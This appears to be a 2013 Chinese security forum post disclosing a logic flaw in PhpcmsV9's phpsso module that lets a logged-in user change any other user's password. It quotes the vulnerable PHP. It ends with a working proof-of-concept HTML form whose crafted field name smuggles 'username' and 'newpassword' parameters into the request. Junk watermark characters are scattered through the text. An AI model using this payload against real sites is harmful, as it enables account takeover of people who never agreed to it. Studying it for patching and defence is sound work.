找回密码
 立即注册
查看: 2650|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:* S3 [5 b) j' [) H& T; y; v3 c2 u$ G

( B/ M9 U2 p2 \9 q) M% {5 c
+ d3 m% S& p7 I" c! A& l+ U" O0 p6 Pparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 Z3 y6 ?6 q; b6 D" c& j) w
8 R& m$ G0 X( i; s# M$ ]在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
0 w4 e( [1 r0 ]2 p+ T& W) c6 s5 C2 S/ I6 {; w
我把它留给了你们。
, w% H" U* u+ b: g& ^6 y; b不知道你们发现了它没有。4 q7 f. ], T( b

, T: y4 G# I: Y我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。& e' D* F1 L8 {  B/ H. h

! K; a6 w6 @- I3 ]3 f所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" @2 }- p0 H' {3 I" o  \9 y4 c$ V9 [
# l" u, E, j9 {) ^1 X  W
也就是4 H+ C& l' b5 J6 c& E5 r

5 L; u6 Y( C9 Y; B& J/ z3 q" X6 _username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ ~, ~+ g$ g% G+ J( R- ?* M6 G. w$ v( ]8 x  h; p2 o
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
: w, D) p  b4 n
, k2 n, Q) [& I6 N9 y
  \1 Y- `7 v* _1 W* [4 ?7 i其实我们有这样的机会,看看代码,如下:# g, Z! R2 v) v; R: C& I

: b2 S" Z% S/ L: [- X- R3 a6 w* m
+ {+ S8 R; @6 V6 v- P" Tpublic function auth_data($data) {0 M7 q- a( b; G; B
                $s = $sep = '';1 F2 h- a/ n+ ^$ D
                foreach($data as $k => $v) {
$ f% @& ]8 ^) ?. h                        if(is_array($v)) {
' Y5 U0 _7 D; c                                $s2 = $sep2 = '';6 c% d8 l% p4 }7 M, T# ^- g5 x& y
                                foreach($v as $k2 => $v2) {
. K+ U$ S+ W- u- `                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
0 @7 E( s3 b) U6 v) D                                        $sep2 = '&';
. q) z" _7 u4 ?                                }
. j2 E: m7 ^* R6 \' G6 L" u                                $s .= $sep.$s2;
! H; `% U* n. v                        } else {
* \  N3 V0 n  k, a! ~/ t2 b                                $s .= "$sep$k=".$this->_ps_stripslashes($v);. @8 |" V* u  P
                        }  H5 e' {% R6 w5 h8 y  T- B7 C
                        $sep = '&';
* `. ^8 u$ [+ [3 x5 Y! \                }+ J# Z& |) b4 ?0 v5 W$ S  P0 s/ C
7 L& L4 w* Q7 |: n
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
, l5 X, L3 J6 J                return $auth_s;
+ ]0 l7 P+ }# J' R( x6 j+ P% k        }9 J$ @. N( p! s! x
9 g& }# O" Q( l% z4 L3 c, A
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
- \7 r) Z7 c5 N2 Y5 a- g# Z" f! |' D4 z! z& O% X+ e9 w+ i( k
举个例子+ |3 S6 E4 ?2 z; t6 Z. C

. v; V5 X( L+ d* }$a[aaa=a&bbb] = 'a';
/ v8 [2 `- ~/ J% W6 x+ o6 O$ Q) s5 A0 g5 ^; i: q  X' N
会变成aaa=a&bbb=a
3 j/ n2 I- ]5 w  `& J! D) [) {4 U, q, [! B; [5 S- A
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
8 X& M. Z) D; {" T$ i" t; K, b+ U% z7 D1 u8 C& F  y  H) b
这个时候,我们可以再去看一个函数。
; A/ M5 H6 ^4 ]/ B6 h& N; e; f% _+ l: Y8 A- [0 W
就在这个文件内:
& r& i% ], E2 q. D$ k
) m7 Y) L! }6 p- ~$ O( c6 u& @
+ m( S- s" v) J% h3 r* y" [5 Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# {, P2 P0 T9 ?
                if($email && !$this->_is_email($email)) {
" y+ C% T& L. c# x2 K. Q                        return -4;) ~. k6 ]) J& s- \
                }0 l; Z1 H2 Z) e5 J! D8 P% L
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& ^  l7 q  z, J! g- ?9 ?1 i) G
        }
8 e) n3 v( C* z* w3 z( p$ y% ?, g6 h3 t) i/ s8 s4 c+ ~( |0 {  a/ ^
这是向通行证发了这样一个请求。* Y; r1 e% i+ ]  r4 _  J" q( d
( G0 {* @  q: n1 {5 Q/ l
我们再跟到通信证代码里去看看,就会有所发现。  J) w$ O2 M. c1 V6 U6 m
. Q3 y) ?% G6 T

( Z) o1 V$ y: A# N3 [# c7 g' T/ zpublic function edit() {
- i8 k  U! i; [0 `; `/ [//能省就省,太长了不是吗?
  I$ @: h, N% z3 S# o* s5 t/ H7 i
if($this->username) {
* p4 H7 L  Y) E//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ N" a. m% l1 ^; Q                                $res = $this->db->update($data, array('username'=>$this->username));
% }* `+ }' V- C' l                        } else {
% ]$ D) e5 k; Y: f" g. s: ^                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);2 J1 W* O2 W" T" o! u8 c; v! L% P
                                $res = $this->db->update($data, array('uid'=>$this->uid));2 J: d. I, w  _9 T/ Z
                        }
: z- U- F' J- L  N' l6 z/ i1 a7 B; `) D( X
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:, o) j3 M/ l6 r( y6 R; }

/ S# j3 X# K/ Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
7 X7 Q5 q" N- O
' e% a3 Y$ l4 }, S# r很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。6 j$ ~, Z0 ^4 w# T# t7 i9 u

  i" u) g( j# g$ s& g) y" t我当然找到了:
- O4 p; O/ {5 g" B/ |phpcms9/phpcms/modules/member/index.php
6 |) ]/ _8 T! p$ p# b, d9 [& N  L+ i$ D5 _! m4 `* m
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" t0 u2 P6 i# Y- y

# i4 z( V5 w7 F5 w然后就没有然后了。
2 Z+ d2 f# E( j8 h
. y0 Z3 F$ L$ l<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">2 a# `8 \0 [, Y6 W# A5 z8 z# e
                                <table width="100%" cellspacing="0" class="table_form">6 Q& A( B5 R/ c$ t2 y2 a& {( v' l- Z
                                        <tr>8 t1 I8 @) ?1 t& y
                                                <th width="80">邮箱:</th>        
# S& U8 J2 f0 u& _  U, d                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
. A) U* m9 p1 J1 p7 O                                        </tr>
3 G4 r* i! N4 H                                        <tr>
) J- S! H; n5 i8 Q                                                <th width="80">原密码:</th>        
, H* y, Y0 d! g+ W9 a1 r                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; |% L7 O! q5 [/ `8 o                                        </tr>
+ Z) o/ J) \: G5 F6 R9 k2 [, @                                        <tr>' `- D7 s. ?- r6 i
                                                <th>新密码:</th>" I) g% R- V- H# t5 v0 J. H) a
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ k3 w  Y9 ~2 n4 ~' h                                        </tr>
1 C$ N: v' L; l  C5 |5 F6 T4 o. M                                        <th></th>
5 x! A: [6 O" L0 s0 X- I1 v' y                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
2 {( V5 H# D( C. K5 k( C" b6 J                                        </tr>
6 ~+ s$ J7 ^) E' F2 z( I, ]                                </table>
& D& Z# j. e) _$ Q/ l+ y1 g7 u2 t3 T7 ~
                               
6 q! N  _, B! t' I7 C                        </form>  [$ R; s/ P9 z* z( Y0 Y# m4 {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表